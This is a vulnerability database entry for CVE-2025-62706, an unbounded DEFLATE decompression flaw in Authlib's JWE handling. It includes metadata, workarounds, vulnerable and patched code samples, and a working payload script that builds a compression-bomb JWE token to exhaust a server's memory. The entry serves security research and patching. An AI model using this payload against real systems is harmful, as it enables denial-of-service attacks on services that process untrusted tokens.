CVE-2025-62706
Authlib JWE unbounded DEFLATE decompression leads to Denial of Service.
- CVSS 6.5
- CWE-400
- Resource Management
- Remote
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.5, Authlib’s JWE zip=DEF path performs unbounded DEFLATE decompression. A very small ciphertext can expand into tens or hundreds of megabytes on decrypt, allowing an attacker who can supply decryptable tokens to exhaust memory and CPU and cause denial of service. This issue has been patched in version 1.6.5. Workarounds for this issue involve rejecting or stripping zip=DEF for inbound JWEs at the application boundary, forking and add a bounded decompression guard via decompressobj().decompress(data, MAX_SIZE)) and returning an error when output exceeds a safe limit, or enforcing strict maximum token sizes and fail fast on oversized inputs; combine with rate limiting.
- CWE
- CWE-400
- CVSS base score
- 6.5
- Published
- 2025-10-22
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- Authlib
- Fixed by upgrading
- Yes
Solution
Upgrade Authlib to version 1.6.5 or later.
Vulnerable code sample
import zlib
from authlib.jose import JsonWebEncryption
from authlib.jose.jwk import generate_key
# This script demonstrates the unbounded decompression vulnerability.
# To run, a vulnerable version of Authlib must be installed (e.g., pip install "authlib==1.2.0").
# WARNING: This script is designed to consume a large amount of memory (approx. 100MB)
# and may cause your system to become unresponsive. Use with caution.
# 1. Define encryption parameters and generate a key pair
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256GCM",
"zip": "DEF" # Enable DEFLATE compression, the source of the vulnerability
}
private_key = generate_key('RSA', private=True)
public_key = generate_key('RSA', private=False, public_key=private_key)
# 2. Create a "compression bomb"
# This is a large payload of repeating bytes that compresses to a very small size.
DECOMPRESSED_SIZE = 100 * 1024 * 1024 # 100 MB
plaintext_bomb = b'\x00' * DECOMPRESSED_SIZE
# Compress the payload using raw DEFLATE (wbits=-15), as specified by the JWE standard.
compressor = zlib.compressobj(level=9, wbits=-15)
compressed_payload = compressor.compress(plaintext_bomb) + compressor.flush()
# 3. Create a JWE token containing the compressed bomb
jwe_serializer = JsonWebEncryption()
jwe_token = jwe_serializer.serialize_compact(
protected_header,
compressed_payload,
public_key
)
# 4. Trigger the vulnerability by decrypting the token
# In a vulnerable version, the library does not limit the size of the
# decompressed output, leading to memory exhaustion.
# The following line will attempt to allocate DECOMPRESSED_SIZE bytes in memory.
jwe_deserializer = JsonWebEncryption()
data = jwe_deserializer.deserialize_compact(jwe_token, private_key)
# If the script has not crashed from a MemoryError, the large decompressed
# payload is now held in the 'data' variable.
# print(f"Successfully allocated {len(data['plaintext'])} bytes in memory.")Patched code sample
import zlib
class BadZipFile(Exception):
"""Custom exception to be raised on a decompression error."""
pass
# The maximum size for decompressed JWE content. Authlib's patch uses 100MB.
# This limit prevents a "zip bomb" from exhausting system memory.
DECOMPRESS_MAX_SIZE = 100 * 1024 * 1024
def fixed_deflate_decompress(data: bytes) -> bytes:
"""
Represents the patched JWE decompression logic which fixes CVE-2025-62706.
This function safely decompresses data using the DEFLATE algorithm by enforcing
a maximum output size. This prevents "zip bomb" attacks that could lead to a
denial-of-service by exhausting memory.
The fix is the inclusion of the 'max_length' parameter (the third argument)
in the 'zlib.decompress' call, which was absent in the vulnerable version.
:param data: The compressed byte string from a JWE token.
:return: The decompressed byte string.
:raises BadZipFile: If the decompressed data would exceed DECOMPRESS_MAX_SIZE.
"""
try:
# The '-zlib.MAX_WBITS' argument is required by the JWE specification
# for raw DEFLATE streams without a zlib header.
# The key to the fix is the 'DECOMPRESS_MAX_SIZE' argument. If the
# resulting data would be larger than this value, zlib raises an error.
return zlib.decompress(data, -zlib.MAX_WBITS, DECOMPRESS_MAX_SIZE)
except zlib.error as e:
# The vulnerable code would not handle this error, allowing unbounded
# memory allocation. The patched code catches the error and stops
# the dangerous operation.
raise BadZipFile(
f"Decompression failed: Output would exceed the limit of {DECOMPRESS_MAX_SIZE} bytes."
) from ePayload
import os
from authlib.jose import jwe
# The size of the decompressed payload in bytes (e.g., 100 MB)
# A vulnerable server will attempt to allocate this much memory.
DECOMPRESSED_TARGET_SIZE = 100 * 1024 * 1024
# A highly compressible payload (e.g., null bytes)
# This will be compressed by Authlib due to the 'zip': 'DEF' header.
plaintext_payload = b'\x00' * DECOMPRESSED_TARGET_SIZE
# The JWE protected header.
# 'alg': 'dir' means we are using a pre-shared symmetric key directly.
# 'enc': 'A256GCM' is the content encryption algorithm.
# 'zip': 'DEF' is the critical part that instructs the recipient to use DEFLATE decompression.
protected_header = {
'alg': 'dir',
'enc': 'A256GCM',
'zip': 'DEF'
}
# A 32-byte (256-bit) symmetric key, as required by 'A256GCM'.
# The attacker must know a key that the target server will use for decryption.
# For this example, we use a static key.
key = b'0123456789abcdef0123456789abcdef'
# Generate the malicious JWE token.
# Authlib will compress the `plaintext_payload` before encrypting it.
# The resulting token will be small, but will expand to DECOMPRESSED_TARGET_SIZE on decryption.
malicious_jwe_token = jwe.encode(protected_header, plaintext_payload, key)
# The output is the compact JWE token string to be sent to the vulnerable server.
print(malicious_jwe_token.decode('utf-8'))
Cite this entry
@misc{vaitp:cve202562706,
title = {{Authlib JWE unbounded DEFLATE decompression leads to Denial of Service.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-62706},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-62706/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
